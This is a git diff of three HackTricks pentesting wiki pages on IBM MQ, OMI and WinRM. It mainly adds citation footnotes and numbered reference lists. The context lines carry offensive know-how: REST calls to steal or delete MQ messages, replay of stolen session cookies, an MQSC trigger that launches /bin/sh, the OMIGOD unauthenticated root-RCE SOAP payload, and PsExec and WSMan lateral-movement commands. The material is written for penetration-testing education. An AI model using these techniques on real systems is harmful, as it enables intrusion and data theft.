HackTricks-wiki · carlospolop · Aug 5, 2026 · Aug 5, 2026
diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md
@@ -66,19 +66,19 @@ After, it can be used with `punch-q` command.
 
 ## Enumeration
 
-You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.
+You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.<sup>[[1]](#references)[[2]](#references)</sup>
 
-If TCP/1414 is filtered or the target only exposes the embedded web server, check **TCP/9443** too. Recent IBM MQ versions expose the **IBM MQ Console / REST API** there by default when `mqweb` is enabled, and the administrative REST endpoint can execute arbitrary **MQSC** commands if you have valid credentials.
+If TCP/1414 is filtered or the target only exposes the embedded web server, check **TCP/9443** too. Recent IBM MQ versions expose the **IBM MQ Console / REST API** there by default when `mqweb` is enabled, and the administrative REST endpoint can execute arbitrary **MQSC** commands if you have valid credentials.<sup>[[4]](#references)</sup>
 
-Do not assume that every successful `mqweb` login unlocks the same surface. In IBM MQ, `MQWebAdmin` / `MQWebAdminRO` cover the **administrative** REST API, but the **messaging** REST API requires `MQWebUser` plus the underlying OAM rights on queues or topics. Also, from **9.4.0**, `mqweb` can run as a **stand-alone IBM MQ Web Server** on Linux: in that deployment the **messaging** REST API can still front remote queue managers while the **administrative** REST API is unavailable. Therefore, a dead or missing `/admin/` path does **not** mean `/messaging/` is absent.
+Do not assume that every successful `mqweb` login unlocks the same surface. In IBM MQ, `MQWebAdmin` / `MQWebAdminRO` cover the **administrative** REST API, but the **messaging** REST API requires `MQWebUser` plus the underlying OAM rights on queues or topics. Also, from **9.4.0**, `mqweb` can run as a **stand-alone IBM MQ Web Server** on Linux: in that deployment the **messaging** REST API can still front remote queue managers while the **administrative** REST API is unavailable. Therefore, a dead or missing `/admin/` path does **not** mean `/messaging/` is absent.<sup>[[4]](#references)[[5]](#references)</sup>
 
 Do not limit yourself to the administrative REST API. IBM also exposes a **messaging REST API** on the same listener, so valid `mqweb` credentials can be enough to:
 
 - **browse** messages from a queue with `GET /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message`
 - **destructively get** messages with `DELETE /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message`
 - **put** attacker-controlled messages with `POST /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message`
 
-That matters in real environments where **1414** is ACL-restricted but the web console on **9443** is reachable from jump hosts, VPN ranges, or Kubernetes ingress.
+That matters in real environments where **1414** is ACL-restricted but the web console on **9443** is reachable from jump hosts, VPN ranges, or Kubernetes ingress.<sup>[[5]](#references)</sup>
 
 ### Queue Manager
 
@@ -267,7 +267,7 @@ Showing queues with prefix: "*"...
 
 ### Topics / subscriptions
 
-IBM MQ is not limited to queues. If the target uses publish/subscribe, an **administrative subscription** is an excellent passive collection primitive: you can route publications matching a topic string into a queue you control, then dump that queue with **punch-q** or the REST API.
+IBM MQ is not limited to queues. If the target uses publish/subscribe, an **administrative subscription** is an excellent passive collection primitive: you can route publications matching a topic string into a queue you control, then dump that queue with **punch-q** or the REST API.<sup>[[8]](#references)</sup>
 
 Quick recon examples:
 
@@ -303,7 +303,7 @@ You can target queue(s)/channel(s) to sniff out / dump messages from them (non-d
 
 ### Dump / put messages through `9443`
 
-If you only have access to the embedded web server, the **messaging REST API** can still be enough to browse, steal, replay, or delete business messages without touching the MQ client port.
+If you only have access to the embedded web server, the **messaging REST API** can still be enough to browse, steal, replay, or delete business messages without touching the MQ client port.<sup>[[5]](#references)</sup>
 
 Browse the next message non-destructively:
 
@@ -365,9 +365,9 @@ curl -sku 'app:passw0rd' \
 >
 > _Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` to run the equivalent MQSC command for service creation (`DEFINE SERVICE`). This aspect is not covered yet here._
 
-If **MQ Console / REST API** credentials are available, you can often reach the same administrative primitives over HTTPS on **9443** without using the MQ client libraries. IBM documents `/ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc` as an endpoint that accepts **plain-text MQSC** or **JSON** commands.
+If **MQ Console / REST API** credentials are available, you can often reach the same administrative primitives over HTTPS on **9443** without using the MQ client libraries. IBM documents `/ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc` as an endpoint that accepts **plain-text MQSC** or **JSON** commands.<sup>[[4]](#references)</sup>
 
-The service creation / deletion with PCF for remote program execution can be done by **punch-q**:
+The service creation / deletion with PCF for remote program execution can be done by **punch-q**:<sup>[[1]](#references)</sup>
 
 **Example 1**
 
@@ -428,7 +428,7 @@ This is especially useful during assessments where:
 - The target team manages IBM MQ mainly through the web console and has forgotten to harden the REST roles
 - You want to avoid installing IBM MQ client libraries locally and only need MQSC-level administration
 
-If the environment uses **token-based** authentication instead of HTTP Basic, IBM's `mqweb` login endpoint returns an **`LtpaToken2`** cookie that can be replayed on later requests until it expires (120 minutes by default). That means a stolen browser session or cookie jar can be enough for both message access and admin actions on `9443`.
+If the environment uses **token-based** authentication instead of HTTP Basic, IBM's `mqweb` login endpoint returns an **`LtpaToken2`** cookie that can be replayed on later requests until it expires (120 minutes by default). That means a stolen browser session or cookie jar can be enough for both message access and admin actions on `9443`.<sup>[[6]](#references)</sup>
 
 ```bash
 curl -sk -c /tmp/mq.cookies \
@@ -461,7 +461,7 @@ echo "DEFINE PROCESS(HACKPROC) REPLACE APPLTYPE(UNIX) APPLICID('/bin/sh') USERDA
 echo "ALTER QLOCAL(APP.INPUT) PROCESS(HACKPROC) TRIGGER TRIGTYPE(FIRST)" | runmqsc MYQUEUEMGR
 ```
 
-Then put a message on `APP.INPUT` with **punch-q** or the messaging REST API to fire the trigger. This primitive depends on a **trigger monitor** actively serving the queue's `INITQ`; when it does, IBM documents that the triggered application runs under the user that started the trigger monitor (or the queue manager, depending on platform / setup).
+Then put a message on `APP.INPUT` with **punch-q** or the messaging REST API to fire the trigger. This primitive depends on a **trigger monitor** actively serving the queue's `INITQ`; when it does, IBM documents that the triggered application runs under the user that started the trigger monitor (or the queue manager, depending on platform / setup).<sup>[[9]](#references)</sup>
 
 **Example 2**
 
@@ -561,7 +561,7 @@ sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:
 
 Here, the queue manager name has been set to `MYQUEUEMGR` (variable `MQ_QMGR_NAME`).
 
-Recent **9.4.x** developer images changed the out-of-the-box behavior:
+Recent **9.4.x** developer images changed the out-of-the-box behavior:<sup>[[7]](#references)</sup>
 
 - `admin` and `app` are only created if you set their passwords
 - IBM documents `MQ_ADMIN_PASSWORD` / `MQ_APP_PASSWORD` as **deprecated** from `9.4.0.0`
@@ -578,7 +578,7 @@ podman run --secret mqAdminPassword --secret mqAppPassword \
   --name testing-ibmmq icr.io/ibm-messaging/mq:latest
 ```
 
-With the default developer configuration:
+With the default developer configuration:<sup>[[7]](#references)</sup>
 
 - `DEV.ADMIN.SVRCONN` only allows the `admin` user
 - `DEV.APP.SVRCONN` is the application channel and the `app` user is the expected identity
@@ -598,15 +598,15 @@ CONTAINER ID   IMAGE                                COMMAND                  CRE
 
 ## References
 
-- [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
-- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
-- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
-- [IBM MQ REST API: `/admin/action/qmgr/{qmgrName}/mqsc`](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=resources-adminactionqmgrqmgrnamemqsc)
-- [IBM MQ messaging REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=mq-messaging-using-rest-api)
-- [IBM MQ token-based authentication for the REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=security-using-token-based-authentication-rest-api)
-- [IBM MQ container default developer configuration](https://github.com/ibm-messaging/mq-container/blob/master/docs/developer-config.md)
-- [Defining an administrative subscription](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=subscriptions-defining-administrative-subscription)
-- [Starting IBM MQ applications using triggers](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=queuing-starting-mq-applications-using-triggers)
+- [1] [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
+- [2] [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
+- [3] [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
+- [4] [IBM MQ REST API: `/admin/action/qmgr/{qmgrName}/mqsc`](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=resources-adminactionqmgrqmgrnamemqsc)
+- [5] [IBM MQ messaging REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=mq-messaging-using-rest-api)
+- [6] [IBM MQ token-based authentication for the REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=security-using-token-based-authentication-rest-api)
+- [7] [IBM MQ container default developer configuration](https://github.com/ibm-messaging/mq-container/blob/master/docs/developer-config.md)
+- [8] [Defining an administrative subscription](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=subscriptions-defining-administrative-subscription)
+- [9] [Starting IBM MQ applications using triggers](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=queuing-starting-mq-applications-using-triggers)
 
 
 

diff --git a/src/network-services-pentesting/5985-5986-pentesting-omi.md b/src/network-services-pentesting/5985-5986-pentesting-omi.md
@@ -19,9 +19,9 @@ The process `omiengine` is initiated and listens on all interfaces as root when
 
 ### **[CVE-2021-38647 Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
 
-As observed on September 16, Linux servers deployed in Azure with the mentioned services are susceptible due to a vulnerable version of OMI. This vulnerability lies in the OMI server's handling of messages through the `/wsman` endpoint without requiring an Authentication header, incorrectly authorizing the client.
+As observed on September 16, Linux servers deployed in Azure with the mentioned services are susceptible due to a vulnerable version of OMI. This vulnerability lies in the OMI server's handling of messages through the `/wsman` endpoint without requiring an Authentication header, incorrectly authorizing the client.<sup>[[2]](#references)</sup>
 
-An attacker can exploit this by sending an "ExecuteShellCommand" SOAP payload without an Authentication header, compelling the server to execute commands with root privileges.
+An attacker can exploit this by sending an "ExecuteShellCommand" SOAP payload without an Authentication header, compelling the server to execute commands with root privileges.<sup>[[1]](#references)</sup>
 
 ```xml
 <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
@@ -39,8 +39,8 @@ For a more information about this CVE **[check this](https://github.com/horizon3
 
 ## References
 
-- [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
-- [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
+- [1] [OMIGOD - RCE Vulnerability in Multiple Azure Linux Deployments](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
+- [2] [OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
 
 {{#include ../banners/hacktricks-training.md}}
 

diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md
@@ -34,7 +34,7 @@ This method allows for the remote setup of WinRM, enhancing the flexibility in m
 
 ### Test if configured
 
-To verify the setup of your attack machine, the `Test-WSMan` command is utilized to check if the target has WinRM configured properly. By executing this command, you should expect to receive details concerning the protocol version and wsmid, indicating successful configuration. Below are examples demonstrating the expected output for a configured target versus an unconfigured one:
+To verify the setup of your attack machine, the `Test-WSMan` command is utilized to check if the target has WinRM configured properly. By executing this command, you should expect to receive details concerning the protocol version and wsmid, indicating successful configuration.<sup>[[1]](#references)</sup> Below are examples demonstrating the expected output for a configured target versus an unconfigured one:
 
 - For a target that **is** properly configured, the output will look similar to this:
 
@@ -52,7 +52,7 @@ The response should contain information about the protocol version and wsmid, si
 
 ### Execute a command
 
-To execute `ipconfig` remotely on a target machine and view its output do:
+To execute `ipconfig` remotely on a target machine and view its output do:<sup>[[1]](#references)</sup>
 
 ```bash
 Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
@@ -80,7 +80,7 @@ Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep
 
 ### Get a PS session
 
-To get an interactive PowerShell shell use `Enter-PSSession`:
+To get an interactive PowerShell shell use `Enter-PSSession`:<sup>[[1]](#references)</sup>
 
 ```bash
 #If you need to use different creds
@@ -105,7 +105,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
 
 ### **Forcing WinRM Open**
 
-To use PS Remoting and WinRM but the computer isn't configured, you could enable it with:
+To use PS Remoting and WinRM but the computer isn't configured, you could enable it with:<sup>[[1]](#references)</sup>
 
 ```bash
 .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
@@ -273,7 +273,7 @@ Mitigations
 * Force HTTPS and enable Extended Protection for Authentication (EPA) on recent Windows versions. 
 
 ### OMIGOD – CVE-2021-38647 (Azure OMI)
-Azure Linux agents use the **Open Management Infrastructure (OMI)** service which exposes the WinRM/WS-MAN API on ports **5985/5986**. A logic error allowed **unauthenticated RCE as root**:
+Azure Linux agents use the **Open Management Infrastructure (OMI)** service which exposes the WinRM/WS-MAN API on ports **5985/5986**.<sup>[[3]](#references)</sup> A logic error allowed **unauthenticated RCE as root**:
 
 ```text
 curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
@@ -282,7 +282,7 @@ curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
 Patch or remove OMI (version ≥ 1.6.8-1) and block those ports from the Internet. 
 
 ### WSMan.Automation COM abuse for lateral movement
-WinRM can be driven without PowerShell via the `WSMan.Automation` COM object – useful on systems in Constrained-Language mode. Tools such as *SharpWSManWinRM* wrap this technique:
+WinRM can be driven without PowerShell via the `WSMan.Automation` COM object – useful on systems in Constrained-Language mode. Tools such as *SharpWSManWinRM* wrap this technique:<sup>[[2]](#references)</sup>
 
 ```powershell
 $ws = New-Object -ComObject 'WSMan.Automation'
@@ -323,15 +323,6 @@ The execution chain (`svchost → wmiprvse → cmd.exe`) is identical to classic
 
 - `port:5985 Microsoft-HTTPAPI`
 
-## References
-
-- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
-- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
-- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
-
-
-- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
-
 ## HackTricks Automatic Commands
 
 ```
@@ -373,6 +364,12 @@ Entry_2:
 
 
 
+## References
+
+- [1] [Using Credentials to Own Windows Boxes - Part 3 (WMI and WinRM)](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
+- [2] [WS-Management COM: Another Approach for WinRM Lateral Movement](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
+- [3] [OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
+
 {{#include ../banners/hacktricks-training.md}}